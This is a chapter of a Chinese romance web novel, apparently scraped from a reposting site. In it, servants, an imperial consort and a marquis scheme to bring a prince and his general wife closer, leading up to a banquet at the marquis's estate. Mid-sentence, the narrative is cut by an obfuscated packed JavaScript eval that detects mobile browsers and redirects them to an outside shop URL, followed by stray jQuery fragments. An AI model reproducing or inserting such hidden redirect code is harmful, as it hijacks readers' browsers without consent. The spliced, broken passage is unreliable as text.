27. 第 27 章

作品:《山河永安

    雨水生木滋春泥,惊蛰雷鸣醒万物。


    二月的一声春雷,预示着万物生长的季节到来,兼着一连三天的细雨,顿时一扫盛京冬季的干燥,连空气中似乎都带着湿润的气息。


    宋承源这几日颇有些春风得意。春耕之时,春雷阵阵、春雨绵绵,正是四时调和的好兆头,再加上外敌已退,眼见着十数年再无兴兵的能力,边关大可高枕无忧,换俘得来的金银财宝、牛羊成群又大大丰富了国库和他的私库,这桩桩件件俱是顺遂的好事,怎不令他志得意满?


    更何况,底下的人精们眼见着他心情舒畅,加之国内也确实没有什么天灾人祸,这几日朝会说的俱是些舒心的事宜,哄得宋承源龙心大悦,只觉得自登基来从未有过这般快活的日子,大手一挥,各样式的赏赐如流水般发放下去,雨露均沾,倒真唤来不少人真心实意的歌功颂德。


    宁王府素来是京城中最为冷清的府邸,宋君谦本就不喜热闹,林文辛在边关呆久了,也颇为享受如今安宁平和的日子,因而两人闲暇时就着点心喝茶谈心,倒也自在。


    两人关系有没有亲近不好说,这几日满京城出名的点心倒是被他们尝了个遍,不仅知晓了对方的口味偏好,原本不重口腹之欲的两人现在也能对着各式点心点头品鉴一番,倒活像是一对吃货夫妻!


    他俩这样不急不忙的相处,自己倒是坦然自得,可急坏了一群操心的人!


    无论是平安、明法还是长风奉剑,看之前这两的架势又是一同拜访了尘法师、又是上元佳节手牵手回府,再加上前几日更是花尽心思招来名厨在摘星阁置办了一桌席面,共同饮酒赏月,心里都已经放起成功的小礼花了。


    一边是忙念阿弥陀佛、佛祖保佑,千年不开窍的木头也懂得开花了,心里不知多激动;一边是暗叹老爷夫人在天之灵可以安息,小姐虽然命运多舛、被迫婚配,却也算得遇良人、苦尽甘来。眼见着小姐本身也不是无意,这桩婚姻说不得还真是天赐良缘,他们心里不知道多欣慰……


    就这么着,双方都因此多了几分默契,平日里总会有意无意给他们制造独处的空间,可谁知这么长时间过去了,这两人还是这个老样子,将军来王爷去的,不知道多生疏!每日里相见除了喝茶就是吃点心……


    吃吃吃,就知道吃!这简直让人痛心疾首!


    就因着他两这样的相处氛围,还让平安和奉剑拌了好几回嘴:一个埋怨,宁王身为男子怎么在这方面行事如此畏畏缩缩,究竟能不能主动些;一个嫌弃,这俩人谁也别说谁,成婚这么久了,一点长进都没有,真不愧都是单身许久,照这情形,可有得单着呢!


    到底还是明法左思右想,最后一拍大腿:坏了,这两位该不是处成了兄弟吧?


    咔嚓,晴天一个霹雳!


    四个人面面相觑,越想越觉得不对,这下也顾不得斗嘴了,奉剑一拧眉毛,就要急匆匆出府找人想办法,被长风好说歹说才拦下:好家伙,这丫头是个藏不住事儿的,要是和别人说了,只怕三两句就被套出话来,让旁人看了笑话,这事啊,还得从长计议。


    只是他拦得住奉剑可拦不住平安。平安翻来覆去想了一宿,终于还是打定了主意,让明法帮忙打个配合后,心里对着宋君谦默念抱歉,扭身就往长秋宫的司云姑姑那儿传了个话。


    长秋宫


    纪静娴听司云把话带到后,一时也有些无语,她揉了揉额头,有些无奈:


    “平安将这事告诉你,是想我们怎么做?”


    “哎呀,娘娘,平安也是心里着急。殿下好容易动心成了婚,或许是面子太薄,您这个做娘亲的还是该搭把手。”


    搭把手,怎么搭?


    且不说她身在宫中处处不便,就是她打定主意排除万难竭力相帮,难道还能强按牛头喝水不成?


    这种事情本就该顺其自然、水到渠成,若是他们实在无法再近一步,那也是天意如此,何况依着她的心思,这两人若只是做一对知己、兄弟,也未尝不是件好事。


    只是,想到自家那个傻小子曾经在这里对自己的信誓旦旦,她终究还是心软,想了想,吩咐司云侧耳过来,让她给宫外的靖远侯夫人带个话,请她帮帮忙。


    “嗳,我这就去”司云对自家小姐的孩子自然也是关心的,听了吩咐,就要急匆匆托人去带话。


    “算了,你先等等。”


    不等她走出屋子,纪静娴忽然改变了主意:


    “毕竟是林老侯爷的生死之交,又是我们请人帮忙,还是等我亲自书写一封信递过去才不算失礼。”


    “可是娘娘,这书信从宫中流出去,可不保险啊。”


    “无妨,不过是我为人娘亲对儿子婚事的一些关照,被人知道了也不打紧,”纪静娴倒是不担心这个,她行事磊落,何况此事就算被那位知道了,也没什么可怕的,“这件事下午再说,倒是你现在就要去给宫外的平安递个话,让那个没出息的找个时间来见我!”


    说到最后,她的语气颇有些恨铁不成钢,听得司云有些想要发笑:说一千道一万,娘娘还是操心殿下的啊!


    她抿了抿唇,强忍住笑意,行礼之后就要往宫门外走,还不等走出十步,就又听到纪静娴有些自我怀疑的呢喃:


    “莫不真是在和尚窟待久了?才落得这般不解风情,跟个呆头鹅似的?”


    “噗,”这下司云是真的忍不住了,虽然及时捂住了嘴,却仍然漏出了笑声,她也不敢回头,只加快了步伐,好容易走出了长秋宫,才倚靠着墙壁,无声笑了一阵。


    按下纪静娴与靖远侯府这边的谋算不表,单说宋君谦,自他成年以来,还从未如此窘迫过。


    本是夫妻间的私事,硬是被母妃知道了,好一顿数落不说,偏偏那语气里满是说不清的意味,天知道他从小到大还不曾被母妃这样对待过,偏偏一旁的司云姑姑虽然竭力掩饰,脸上仍旧有止不住的笑意。


    他本来对这些是不以为然的,他和林将军情况特殊,要想两心相通定然是急不得的,可被母妃这么一说,也不禁有些自我怀疑起来:莫不真是自己行事迟疑、又不懂女儿家心事,才将这进程生生拖慢了?


    人啊,心里一旦有了怀疑,很多事就不敢那么确定了,虽然对母妃的话仍然是左耳进右耳出,只知道点头敷衍,可回到府中仍然皱眉思考了好几天。


    等到靖远侯府下了帖子,邀请他们二人七日之后过府赴宴,他便再也按捺不住了。也顾不得再生平安擅自做主的气了,把冷落了好久的平安和明法叫过来,央著他们去找林将军院子里的人通个气,问几个问题。


    等得到了答案之后,更是连忙行动起来,先是去自家库房好一顿寻找,实在没找到合心意的后,又一连跑了太子府和靖王府,厚着脸皮求这两位兄长帮忙。


    好容易在靖王的鼎力相助下,找到了个看的过眼的,也没来得及多加感谢,就急匆匆让人去找个盒子包了起来。


    等到了相约之日,宋君谦已经将一切安排妥当,又和靖远侯府那边通了气,得知今天会有的助兴项目,立马让明法将礼盒带着一同前去。


    等他再次查漏补缺后,自觉衣着得体、万事俱备,便信心满满的和林文辛一同上了马车,甚至在车上都抑制不住有些兴奋的心情,惹得林文辛几次侧目。


    “王爷今日心情很好?”


    “咳……”他还想掩饰,奈何想到自己准备的惊喜,实在是有些忍不住上扬的嘴角,只好打着哈哈:“靖远侯乃是你的长辈,他能相约走动,也是对你一片关切之情,日后你也算有个说话、散心的去处……侯爷能连同我一起相邀,想来也是一种认同。”


    “你这……王爷怎知不是郑伯伯放心不下,是要考察考察你呢?”林文辛这话说得有些逾矩,不过她也是见不得这人如此自信满满,再加上这些日子的相处,知道他不会因此心生芥蒂。


    宋君谦果然毫不在意,眉毛一挑:“我待将军如何,将军心中有数,若老侯爷当真不放心,还要请将军帮忙多多美言几句了。”


    这话说得轻佻,却又似有几分真意,林文辛本想再说两句俏皮话,却又在看向他双眼后垂下眸子,轻轻应了一声。


    不等宋君谦反应过来继续追问,外面就有侍卫禀报靖远侯府已经到了,一肚子话憋在心里却不好说出口,宋君谦第一次扼腕长叹,感觉这条路实在是太短了些。


    “好了,既然已经到了,你我还是早些下车吧,以免失了礼数。”他脸上的懊悔之色实在是太过明显,惹得林文辛也止不住想笑,只不过靖远侯是长辈,他们既来赴约,礼数还是要周到些,至于其他的,总归不急于这一时。


    “也好,总不能给郑侯留下不好的印象,以后相处的日子还长着呢。”


    他这话意有所指,林文辛却权当没听见。见此宋君谦也不好再拖延下去,略整了整衣冠,便利落地下了马车。


    靖远侯在下人通报后就已经急匆匆出门来迎,老爷子心里一直放心不下自家这个侄女。


    自从她和宁王成亲后,就少有音讯传出,为此他天天在家忧心,唉声叹气得让老妻都觉得厌烦。倒不是没想主动打听,可宁王天潢贵胄,也实在不好窥伺他的后院。正大光明上门吧,怎奈他们侯府毕竟不是林文辛真正的娘家,又怕惹得宁王厌烦。虽说这些日子也偶有他们小夫妻感情甚笃的传言听到耳朵里,但不曾亲眼所见让他怎么放得下心?


    前些日子宫里的娴妃娘娘派人送来封书信,倒让阖府都唬了一跳,等看过之后他是又好笑又好气:没想到宁王二十来岁的人了,寻常人家这个年纪都已经当上父亲了,他却还是懵懵懂懂、浑浑噩噩,再加上自家侄女这几年混迹于军营之中相比也是无心男女之情,这俩苦手凑到一起,可不让做父母的心里着急嘛?


    但与此同时,他心里也松了一口气,按照这信中所写,娴妃娘娘对文辛的观感倒是不恶,宁王也是有心想要和文辛和和美美的,无论如何有这两人的态度在,日子总不至于太差。


    至于办宴会、促进两人的感情,那还得靠家中的老妻和儿媳操持,他一个大老粗能干什么?尽会添乱!甚至这几天已经被夫人拎着耳朵耳提面命了许多次。待人说话要和气一点,万万不可冲撞了贵客。


    想到这几日受得啰嗦念叨,戎马半生的老侯爷也不禁硬挤出个僵硬的笑容,迎了上去,声音更是降低了八度:


    “宁王和王妃贵足临贱地,实在是蓬荜生辉、蓬荜生辉啊!”


    “郑伯伯……”林文辛心情难以言喻,印象中自己这位伯父是个比父亲还要勇猛不羁的汉子,张口老子,闭嘴他娘的,什么时候这么文绉绉的了?还有那硬挤出来的笑容跟朵菊花似的实在与他那魁梧的身躯、刚硬的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648466|156570||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面容不相匹配,莫不是中邪了?


    “咳,岂敢岂敢,小王忝颜立于朝堂,多年未立寸功,怎敢劳烦郑侯亲自相迎。”还是宋君谦有经验,一看这情形就知道老侯爷这是怎么了,赶忙轻轻拉了下林文辛的衣袖,打断了她的未尽之语,侧身向前,和老侯爷寒暄了一番:没办法,他好歹也在盛京待了这么多年,能让武将露出这般令人牙疼的笑容,也是不容易,恐怕总与侯夫人脱离不了关系。这也是他们的一片看重之情,还是不要揭穿,让老爷子挂不住脸了。


    “哈哈哈,王爷客气了,请……”


    “请。”


    他们这你来我往客气来客气去的,直听得林文辛脑仁子腾,很是复杂地看了两人一眼,忍不住对天翻了个白眼,到底还是把想说的话咽了下去。


    她脸上的复杂表情,宋君谦用余光瞥到了,心里也有些好笑,果然是到了相熟的地方,林将军脸上的表情也生动多了。知道她是真情流露,不欲为外人知晓,可他心里痒痒的,偏要去招惹一番:


    “将军眼睛可有不适?可要本王牵着你走?”


    “呵,王爷说笑了,这侯府别院我可比您熟悉的多。”


    林文辛哪里不知道他这是故意招惹自己,也毫不留情地顶了回去,直顶得宋君谦摸了摸鼻子,无奈闭嘴。


    靖远侯在一旁看呆了。


    原先娴妃娘娘在信中说宁王是个一窍不通的木鱼,有心亲近却又不通章法,他还觉得言过其实,哪个少男不怀春,这手拿把掐的事儿还能笨拙到哪儿去,至多就是一开始没经验,慢慢就好了。


    可今天一看,这的确不对劲儿啊!成婚也有好几个月了,两人之间的称呼还如此生疏,不像是有情的样子啊。可要说他们之间完全没有情义,也说不通:两人姿态如此亲昵,袖子下的小动作也无比自然,虽然称呼冷冰冰的,可话里话外,分明就是调侃之意……


    这,这不会真处成了兄弟吧?


    郑安国想到忘我,摸着胡子的手忍不住向下一用力,疼得他一个激灵,他有些心疼地看着掌中的胡须,索性放弃思考:算了算了,他一个大老粗反正也看不懂这年轻人的感情纠葛,还是老老实实请夫人帮忙想想办法吧。


    靖远侯府这个别院原本是个温泉庄子,布局也是典型的武将宅邸,院中花草并不很多,却栽有不少高大的乔木,适逢春日已至,万物复苏,打眼望去虽然仍是一树枯黄,可定睛一看,枝头却也有点点绿意,煞是喜人。


    宋君谦不是个风雅之人,自然也不擅长花草之道,心下只觉得这里宽阔大气,说不出的顺眼,但是看林文辛这一脸的欢喜,当即打定了主意,回头也让平安过来取取经,争取把王府也好好改造一番。


    其实林文辛哪是在意这些东西,只不过是浸淫沙场久了,天然的喜欢这些开阔的地方,总觉得这么大的平地,练武能施展的开,也不用担心周遭环境的安全罢了。


    两人各怀心思地跟着靖远侯后面,不一会儿就到了今日举办宴会的地方,因着他俩身份贵重,此刻已有不少人在此等候,见他们到来,赶忙起身行礼。


    “无需多礼,今日本王也是受郑侯相邀,既是私下的小聚,诸位不必拘束。”宋君谦历来不喜欢繁文缛节,何况郑侯夫妇又是林文辛亲近的长辈,他自然不会摆架子,随意一挥手,便牵着林文辛的衣袖在被特意留出的位置上稳稳落座。


    不少人见他们姿态如此熟稔,惊得睁大了眼睛,忍不住和好友交头接耳、窃窃私语。就连侯夫人见此情形,也忍不住眉毛一挑,对着老侯爷目露询问之意。


    老爷子坐到位置上抹了把脸,满脸纠结之色,啧了半天也不知道该如何解释,倒是把杯中早已放凉的茶水咕咚咚喝了个干净,苦得龇牙咧嘴的,惹得老夫人伸手狠掐了几把:


    老不正经的,忒丢人!


    其余人权当没看见主位二老之间的官司,但是有宁王在场又不好冷落了他,两相纠结下,气氛很是尴尬。


    宋君谦倒是一派坦然,倒不是说他有多放得开,他也不喜欢和陌生之人打交道,因而处处避免与他人目光相对。只是他身份最高,几乎不用顾及别人的感受,这么一副生人勿进的态度摆在这儿,也不会有不长眼的前来打扰,再加上身旁又有林文辛在,平安和明法也随侍在左右,熟悉的人伴在身侧总归是要好些的。


    只不过这毕竟是郑侯安排的聚会,老这么端着也不是个事儿,接下来肯定是要热闹一番的,他这个态度恐怕会引人误会,为了不落老爷子的面子,他也只好略带些痛苦的让平安附在耳边给他轻声介绍:没办法,他深居简出惯了,朝堂上的官员倒是勉强能认清,但这次聚会来了不少年轻人,恐怕是老侯爷特意邀请的,这可就让他为难了……


    好在平安是个靠谱的,消息又灵通,只刚刚进来这么一扫,心里就已经有了数,当即把几个品性上佳、家世显赫亦或是和靖远侯府私交有旧的几位年轻人,一一指给他看。


    不多,值得注意的不过十来个而已,但平安属实是靠谱的过了头,不仅对这些人的身世如数家珍,甚至连人家的兴趣爱好、婚配与否都说的头头是道,连林文辛都忍不住侧耳来听。


    听客的捧场让他更加来了劲儿,说得口沫横飞,听得明法和林文辛连连点头,唯有宋君谦颇为痛苦的皱着脸,一扶额:


    好多人啊!